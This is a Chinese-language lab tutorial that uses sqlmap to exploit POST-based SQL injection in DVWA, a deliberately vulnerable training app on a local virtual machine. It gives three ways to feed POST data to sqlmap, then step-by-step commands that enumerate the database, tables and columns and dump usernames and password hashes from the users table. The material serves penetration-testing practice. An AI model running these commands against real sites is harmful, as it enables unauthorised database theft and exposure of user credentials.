一、准备工作
1、sqlmap为python语言开发,因此需要具备python环境。
2、python环境搭建及sqlmap下载,可参考其他文章。(很多也很全,这个不是本文重点,因此略过)
二、环境搭建
1、本人使用的是Mac、windows7虚拟机,windows7中部署DVMA
2、以DVMA的sql注入为例(DVMA安全级别为medium),进行详细介绍。
三、post请求脱库三种方法
方法1:sqlmap -r xxx.txt
利用burp抓包,保存报文为txt文件,利用sqlmap指定文本注入。
方法2:sqlmap -u "url" --forms [最简单]
sqlmap的forms参数,会自动抓取post包。从而进行注入。
方法3:sqlmap -u "url" --data "key1=value1&key2=values&key3=values"
指定参数,key=value形式,多参数使用&符号链接。
四、post请求脱库(方法1:需借助burpsuit)
1、访问链接“http://192.168.200.130/DVWA/vulnerabilities/sqli/” User ID下拉“1” ,如下图。(此处不在验证sql注入,直接使用sqlmap脱库)
待测试链接为“http://192.168.200.130/DVWA/vulnerabilities/sqli/”,可发现没有参数,报文信息如下,将报文另存为post.txt:
2、开始sqlmap测试,python sqlmap.py -r "/Users/***/Desktop/post.txt" --batch
(-r 指定文件路径,类似于-u指定链接一样),可发现id存在注入,如下图。
3、获取当前数据库 --current-db参数,即python sqlmap.py -r "/Users/***/Desktop/post.txt" --batch --current-db
分析出当前数据库为dvwa
4、获取当前数据库下的表 --tables参数 即python sqlmap.py -r "/Users/***/Desktop/post.txt" --batch -D dvwa --tables
(-D:指定数据库名)
可发现,运行结果后,有两个表,分别是guestbook、users
5、获取指定表的列属性 --columns参数 即:python sqlmap.py -r "/Users/***/Desktop/post.txt" --batch -D dvwa -T users --columns
(-D:指定数据库名,-T:指定表名)
运行结果后,存在8个列属性,如下图所示。
6、正式脱库 --dump参数,即python sqlmap.py -r "/Users/***/Desktop/post.txt" --batch -D dvwa -T users -C "user,avatar,password,user_id" --dump
(-D:指定数据库名,-T:指定表名,-C:指定需要的列名,--dump代表下载)
可发现,已将相关信息下载到“/Users/***/.sqlmap/output/192.168.200.130/dump/dvwa/users.csv”目录下。
成功完成post请求注入的脱库。